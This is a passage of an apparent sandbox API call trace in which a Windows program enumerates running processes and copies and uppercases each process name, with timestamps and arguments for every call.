th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0171.154] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="services.exe" | out: lpString1="services.exe") returned="services.exe" [0171.154] lstrlenW (lpString="services.exe") returned 12 [0171.154] CharUpperBuffW (in: lpsz="services.exe", cchLength=0xc | out: lpsz="SERVICES.EXE") returned 0xc [0171.154] PathFindFileNameW (pszPath="SERVICES.EXE") returned="SERVICES.EXE" [0171.154] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SERVICES.EXE" | out: lpString1="SERVICES.EXE") returned="SERVICES.EXE" [0171.154] Process32NextW (in: hSnapshot=0x350, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x194, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0171.155] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="lsass.exe" | out: lpString1="lsass.exe") returned="lsass.exe" [0171.155] lstrlenW (lpString="lsass.exe") returned 9 [0171.155] CharUpperBuffW (in: lpsz="lsass.exe", cchLength=0x9 | out: lpsz="LSASS.EXE") returned 0x9 [0171.155] PathFindFileNameW (pszPath="LSASS.EXE") returned="LSASS.EXE" [0171.155] lstrcpyW (in: lpString1=0x2b4f928, lpString2="LSASS.EXE" | out: lpString1="LSASS.EXE") returned="LSASS.EXE" [0171.155] Process32NextW (in: hSnapshot=0x350, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0171.156] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0171.156] lstrlenW (lpString="svchost.exe") returned 11 [0171.156] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0171.156] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0171.156] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0171.156] Process32NextW (in: hSnapshot=0x350, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x268, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0171.157] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0171.157] lstrlenW (lpString="svchost.exe") returned 11 [0171.157] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0171.157] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0171.157] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0171.157] Process32NextW (in: hSnapshot=0x350, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0171.158] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="dwm.exe" | out: lpString1="dwm.exe") returned="dwm.exe" [0171.158] lstrlenW (lpString="dwm.exe") returned 7 [0171.158] CharUpperBuffW (in: lpsz="dwm.exe", cchLength=0x7 | out: lpsz="DWM.EXE") returned 0x7 [0171.158] PathFindFileNameW (pszPath="DWM.EXE") returned="DWM.EXE" [0171.158] lstrcpyW (in: lpString1=0x2b4f928, lpString2="DWM.EXE" | out: lpString1="DWM.EXE") returned="DWM.EXE" [0171.158] Process32NextW (in: hSnapshot=0x350, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0171.159] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0171.159] lstrlenW (lpString="svchost.exe") returned 11 [0171.159] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0171.159] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0171.159] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0171.159] Process32NextW (in: hSnapshot=0x350, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x32c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0171.160] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0171.160] lstrlenW (lpString="svchost.exe") returned 11 [0171.160] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0171.160] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0171.160] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0171.160] Process32NextW (in: hSnapshot=0x350, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x358, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0171.161] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0171.161] lstrlenW (lpString="svchost.exe") returned 11 [0171.161] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0171.161] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0171.161] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0171.161] Process32NextW (in: hSnapshot=0x350, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0171.162] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0171.162] lstrlenW (lpString="svchost.exe") returned 11 [0171.162] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0171.162] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0171.162] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0171.162] Process32NextW (in: hSnapshot=0x350, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0171.162] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0171.163] lstrlenW (lpString="svchost.exe") returned 11 [0171.163] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0171.163] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0171.163] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0171.163] Process32NextW (in: hSnapshot=0x350, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0171.163] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0171.163] lstrlenW (lpString="svchost.exe") returned 11 [0171.163] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0171.163] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0171.164] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0171.164] Process32NextW (in: hSnapshot=0x350, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x164, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0171.164] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="spoolsv.exe" | out: lpString1="spoolsv.exe") returned="spoolsv.exe" [0171.164] lstrlenW (lpString="spoolsv.exe") returned 11 [0171.164] CharUpperBuffW (in: lpsz="spoolsv.exe", cchLength=0xb | out: lpsz="SPOOLSV.EXE") returned 0xb [0171.164] PathFindFileNameW (pszPath="SPOOLSV.EXE") returned="SPOOLSV.EXE" [0171.164] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SPOOLSV.EXE" | out: lpString1="SPOOLSV.EXE") returned="SPOOLSV.EXE" [0171.164] Process32NextW (in: hSnapshot=0x350, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0171.165] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0171.165] lstrlenW (lpString="svchost.exe") returned 11 [0171.165] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0171.165] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0171.165] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0171.165] Process32NextW (in: hSnapshot=0x350, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0171.166] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="OfficeClickToRun.exe" | out: lpString1="OfficeClickToRun.exe") returned="OfficeClickToRun.exe" [0171.166] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0171.166] CharUpperBuffW (in: lpsz="OfficeClickToRun.exe", cchLength=0x14 | out: lpsz="OFFICECLICKTORUN.EXE") returned 0x14 [0171.166] PathFindFileNameW (pszPath="OFFICECLICKTORUN.EXE") returned="OFFICECLICKTORUN.EXE" [0171.166] lstrcpyW (in: lpString1=0x2b4f928, lpString2="OFFICECLICKTORUN.EXE" | out: lpString1="OFFICECLICKTORUN.EXE") returned="OFFICECLICKTORUN.EXE" [0171.166] Process32NextW (in: hSnapshot=0x350, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0171.167] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0171.167] lstrlenW (lpString="svchost.exe") returned 11 [0171.167] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0171.167] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0171.167] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0171.167] Process32NextW (in: hSnapshot=0x350, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x704, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x324, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0171.168] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="sihost.exe" | out: lpString1="sihost.exe") returned="sihost.exe" [0171.168] lstrlenW (lpString="sihost.exe") returned 10 [0171.168] CharUpperBuffW (in: lpsz="sihost.exe", cchLength=0xa | out: lpsz="SIHOST.EXE") returned 0xa [0171.168] PathFindFileNameW (pszPath="SIHOST.EXE") returned="SIHOST.EXE" [0171.168] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SIHOST.EXE" | out: lpString1="SIHOST.EXE") returned="SIHOST.EXE" [0171.168] Process32NextW (in: hSnapshot=0x350, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x77c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x324, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0171.169] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="taskhostw.exe" | out: lpString1="taskhostw.exe") returned="taskhostw.exe" [0171.169] lstrlenW (lpString="taskhostw.exe") returned 13 [0171.169] CharUpperBuffW (in: lpsz="taskhostw.exe", cchLength=0xd | out: lpsz="TASKHOSTW.EXE") returned 0xd [0171.169] PathFindFileNameW (pszPath="TASKHOSTW.EXE") returned="TASKHOSTW.EXE" [0171.169] lstrcpyW (in: lpString1=0x2b4f928, lpString2="TASKHOSTW.EXE" | out: lpString1="TASKHOSTW.EXE") returned="TASKHOSTW.EXE" [0171.169] Process32NextW (in: hSnapshot=0x350, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x4c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0171.170] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="explorer.exe" | out: lpString1="explorer.exe") returned="explorer.exe" [0171.170] lstrlenW (lpString="explorer.exe") returned 12 [0171.170] CharUpperBuffW (in: lpsz="explorer.exe", cchLength=0xc | out: lpsz="EXPLORER.EXE") returned 0xc [0171.170] PathFindFileNameW (pszPath="EXPLORER.EXE") returned="EXPLORER.EXE" [0171.170] lstrcpyW (in: lpString1=0x2b4f928, lpString2="EXPLORER.EXE" | out: lpString1="EXPLORER.EXE") returned="EXPLORER.EXE" [0171.170] Process32NextW (in: hSnapshot=0x350, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0171.170] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="RuntimeBroker.exe" | out: lpString1="RuntimeBroker.exe") returned="RuntimeBroker.exe" [0171.171] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0171.171] CharUpperBuffW (in: lpsz="RuntimeBroker.exe", cchLength=0x11 | out: lpsz="RUNTIMEBROKER.EXE") returned 0x11 [0171.171] PathFindFileNameW (pszPath="RUNTIMEBROKER.EXE") returned="RUNTIMEBROKER.EXE" [0171.171] lstrcpyW (in: lpString1=0x2b4f928, lpString2="RUNTIMEBROKER.EXE" | out: lpString1="RUNTIMEBROKER.EXE") returned="RUNTIMEBROKER.EXE" [0171.171] Process32NextW (in: hSnapshot=0x350, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x980, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2c, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0171.171] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="ShellExperienceHost.exe" | out: lpString1="ShellExperienceHost.exe") returned="ShellExperienceHost.exe" [0171.171] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0171.171] CharUpperBuffW (in: lpsz="ShellExperienceHost.exe", cchLength=0x17 | out: lpsz="SHELLEXPERIENCEHOST.EXE") returned 0x17 [0171.171] PathFindFileNameW (pszPath="SHELLEXPERIENCEHOST.EXE") returned="SHELLEXPERIENCEHOST.EXE" [0171.171] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SHELLEXPERIENCEHOST.EXE" | out: lpString1="SHELLEXPERIENCEHOST.EXE") returned="SHELLEXPERIENCEHOST.EXE" [0171.171] Process32NextW (in: hSnapshot=0x350, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0171.172] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="SearchUI.exe" | out: lpString1="SearchUI.exe") returned="SearchUI.exe" [0171.172] lstrlenW (lpString="SearchUI.exe") returned 12 [0171.172] CharUpperBuffW (in: lpsz="SearchUI.exe", cchLength=0xc | out: lpsz="SEARCHUI.EXE") returned 0xc [0171.172] PathFindFileNameW (pszPath="SEARCHUI.EXE") returned="SEARCHUI.EXE" [0171.172] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SEARCHUI.EXE" | out: lpString1="SEARCHUI.EXE") returned="SEARCHUI.EXE" [0171.172] Process32NextW (in: hSnapshot=0x350, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x948, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="commandsxeroxrelationship.exe")) returned 1 [0171.173] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="commandsxeroxrelationship.exe" | out: lpString1="commandsxeroxrelationship.exe") returned="commandsxeroxrelationship.exe" [0171.173] lstrlenW (lpString="commandsxeroxrelationship.exe") returned 29 [0171.173] CharUpperBuffW (in: lpsz="commandsxeroxrelationship.exe", cchLength=0x1d | out: lpsz="COMMANDSXEROXRELATIONSHIP.EXE") returned 0x1d [0171.173] PathFindFileNameW (pszPath="COMMANDSXEROXRELATIONSHIP.EXE") returned="COMMANDSXEROXRELATIONSHIP.EXE" [0171.173] lstrcpyW (in: lpString1=0x2b4f928, lpString2="COMMANDSXEROXRELATIONSHIP.EXE" | out: lpString1="COMMANDSXEROXRELATIONSHIP.EXE") returned="COMMANDSXEROXRELATIONSHIP.EXE" [0171.173] Process32NextW (in: hSnapshot=0x350, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xad0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="nice cu.exe")) returned 1 [0171.173] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="nice cu.exe" | out: lpString1="nice cu.exe") returned="nice cu.exe" [0171.173] lstrlenW (lpString="nice cu.exe") returned 11 [0171.173] CharUpperBuffW (in: lpsz="nice cu.exe", cchLength=0xb | out: lpsz="NICE CU.EXE") returned 0xb [0171.173] PathFindFileNameW (pszPath="NICE CU.EXE") returned="NICE CU.EXE" [0171.173] lstrcpyW (in: lpString1=0x2b4f928, lpString2="NICE CU.EXE" | out: lpString1="NICE CU.EXE") returned="NICE CU.EXE" [0171.173] Process32NextW (in: hSnapshot=0x350, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="video_reviewing.exe")) returned 1 [0171.174] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="video_reviewing.exe" | out: lpString1="video_reviewing.exe") returned="video_reviewing.exe" [0171.174] lstrlenW (lpString="video_reviewing.exe") returned 19 [0171.174] CharUpperBuffW (in: lpsz="video_reviewing.exe", cchLength=0x13 | out: lpsz="VIDEO_REVIEWING.EXE") returned 0x13 [0171.174] PathFindFileNameW (pszPath="VIDEO_REVIEWING.EXE") returned="VIDEO_REVIEWING.EXE" [0171.174] lstrcpyW (in: lpString1=0x2b4f928, lpString2="VIDEO_REVIEWING.EXE" | out: lpString1="VIDEO_REVIEWING.EXE") returned="VIDEO_REVIEWING.EXE" [0171.174] Process32NextW (in: hSnapshot=0x350, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x870, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="shame.exe")) returned 1 [0171.175] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="shame.exe" | out: lpString1="shame.exe") returned="shame.exe" [0171.175] lstrlenW (lpString="shame.exe") returned 9 [0171.175] CharUpperBuffW (in: lpsz="shame.exe", cchLength=0x9 | out: lpsz="SHAME.EXE") returned 0x9 [0171.175] PathFindFileNameW (pszPath="SHAME.EXE") returned="SHAME.EXE" [0171.175] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SHAME.EXE" | out: lpString1="SHAME.EXE") returned="SHAME.EXE" [0171.175] Process32NextW (in: hSnapshot=0x350, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="fantasy.exe")) returned 1 [0171.175] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="fantasy.exe" | out: lpString1="fantasy.exe") returned="fantasy.exe" [0171.175] lstrlenW (lpString="fantasy.exe") returned 11 [0171.176] CharUpperBuffW (in: lpsz="fantasy.exe", cchLength=0xb | out: lpsz="FANTASY.EXE") returned 0xb [0171.176] PathFindFileNameW (pszPath="FANTASY.EXE") returned="FANTASY.EXE" [0171.176] lstrcpyW (in: lpString1=0x2b4f928, lpString2="FANTASY.EXE" | out: lpString1="FANTASY.EXE") returned="FANTASY.EXE" [0171.176] Process32NextW (in: hSnapshot=0x350, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="accepting.exe")) returned 1 [0171.176] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="accepting.exe" | out: lpString1="accepting.exe") returned="accepting.exe" [0171.176] lstrlenW (lpString="accepting.exe") returned 13 [0171.176] CharUpperBuffW (in: lpsz="accepting.exe", cchLength=0xd | out: lpsz="ACCEPTING.EXE") returned 0xd [0171.176] PathFindFileNameW (pszPath="ACCEPTING.EXE") returned="ACCEPTING.EXE" [0171.176] lstrcpyW (in: lpString1=0x2b4f928, lpString2="ACCEPTING.EXE" | out: lpString1="ACCEPTING.EXE") returned="ACCEPTING.EXE" [0171.176] Process32NextW (in: hSnapshot=0x350, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="authorized.exe")) returned 1 [0171.177] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="authorized.exe" | out: lpString1="authorized.exe") returned="authorized.exe" [0171.177] lstrlenW (lpString="authorized.exe") returned 14 [0171.177] CharUpperBuffW (in: lpsz="authorized.exe", cchLength=0xe | out: lpsz="AUTHORIZED.EXE") returned 0xe [0171.177] PathFindFileNameW (pszPath="AUTHORIZED.EXE") returned="AUTHORIZED.EXE" [0171.177] lstrcpyW (in: lpString1=0x2b4f928, lpString2="AUTHORIZED.EXE" | out: lpString1="AUTHORIZED.EXE") returned="AUTHORIZED.EXE" [0171.177] Process32NextW (in: hSnapshot=0x350, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x278, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="isp.exe")) returned 1 [0171.178] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="isp.exe" | out: lpString1="isp.exe") returned="isp.exe" [0171.178] lstrlenW (lpString="isp.exe") returned 7 [0171.178] CharUpperBuffW (in: lpsz="isp.exe", cchLength=0x7 | out: lpsz="ISP.EXE") returned 0x7 [0171.178] PathFindFileNameW (pszPath="ISP.EXE") returned="ISP.EXE" [0171.178] lstrcpyW (in: lpString1=0x2b4f928, lpString2="ISP.EXE" | out: lpString1="ISP.EXE") returned="ISP.EXE" [0171.178] Process32NextW (in: hSnapshot=0x350, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x504, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cowboy.exe")) returned 1 [0171.178] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="cowboy.exe" | out: lpString1="cowboy.exe") returned="cowboy.exe" [0171.178] lstrlenW (lpString="cowboy.exe") returned 10 [0171.178] CharUpperBuffW (in: lpsz="cowboy.exe", cchLength=0xa | out: lpsz="COWBOY.EXE") returned 0xa [0171.178] PathFindFileNameW (pszPath="COWBOY.EXE") returned="COWBOY.EXE" [0171.178] lstrcpyW (in: lpString1=0x2b4f928, lpString2="COWBOY.EXE" | out: lpString1="COWBOY.EXE") returned="COWBOY.EXE" [0171.178] Process32NextW (in: hSnapshot=0x350, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x128, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="j_variables_changes.exe")) returned 1 [0171.179] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="j_variables_changes.exe" | out: lpString1="j_variables_changes.exe") returned="j_variables_changes.exe" [0171.179] lstrlenW (lpString="j_variables_changes.exe") returned 23 [0171.179] CharUpperBuffW (in: lpsz="j_variables_changes.exe", cchLength=0x17 | out: lpsz="J_VARIABLES_CHANGES.EXE") returned 0x17 [0171.179] PathFindFileNameW (pszPath="J_VARIABLES_CHANGES.EXE") returned="J_VARIABLES_CHANGES.EXE" [0171.179] lstrcpyW (in: lpString1=0x2b4f928, lpString2="J_VARIABLES_CHANGES.EXE" | out: lpString1="J_VARIABLES_CHANGES.EXE") returned="J_VARIABLES_CHANGES.EXE" [0171.179] Process32NextW (in: hSnapshot=0x350, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="thats.exe")) returned 1 [0171.180] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="thats.exe" | out: 